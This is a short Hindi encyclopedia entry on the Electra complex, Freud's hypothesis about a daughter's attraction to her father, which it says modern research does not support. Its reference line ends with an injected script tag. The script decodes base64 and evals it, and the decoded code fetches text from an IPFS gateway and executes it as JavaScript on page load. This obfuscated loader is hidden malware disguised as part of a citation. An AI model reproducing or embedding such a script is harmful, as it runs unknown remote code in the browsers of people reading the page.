एलेक्ट्रा मनोग्रंथि

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एलेक्ट्रा मनोग्रंथि पिता पुत्री के बीच यौनाकर्षण संबंधी मनोविश्लेषणवादियों की एक धारणा। इसके अनुसार जैसे पुत्र स्वभावत: माँ की ओर आकर्षित होता है (द्र 'ईदिपस मनोग्रंथि) वैसे ही पुत्री का पिता की ओर संवेगात्मक तथा कामुक प्रकार का आकर्षण रहता है। फ्रायड ने सर्वप्रथम ग्रीक मिथक 'ईदिपस' के आधार पर ईदिपस मनोग्रंथि तथा एलेक्ट्रा मनोग्रंथि की परिकल्पना प्रस्तुत की थी और बताया था कि जिस लड़की का पिता की ओर कामात्मक रुख अथवा रुझान होता है, वह निश्चित ही एलेक्ट्रा मनोग्रंथि से पीड़ित रहती है। ऐसी लड़की का वैवाहिक जीवन या तो पूरी तरह असफल हो जाता है अथवा दु:खपूर्ण रहता है क्योंकि अवचेतन मन से अपने पति में पिता के गुण, लक्षण आदि खोजती है और उनके न मिलने पर हताश हो जाती है। परंतु जैविकी तथा कायिकी संबंधी आधुनिक अनुसंधानों से फ्ऱायड की उक्त परिकल्पना को सिद्ध नहीं किया जा सकता है।[1]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 253 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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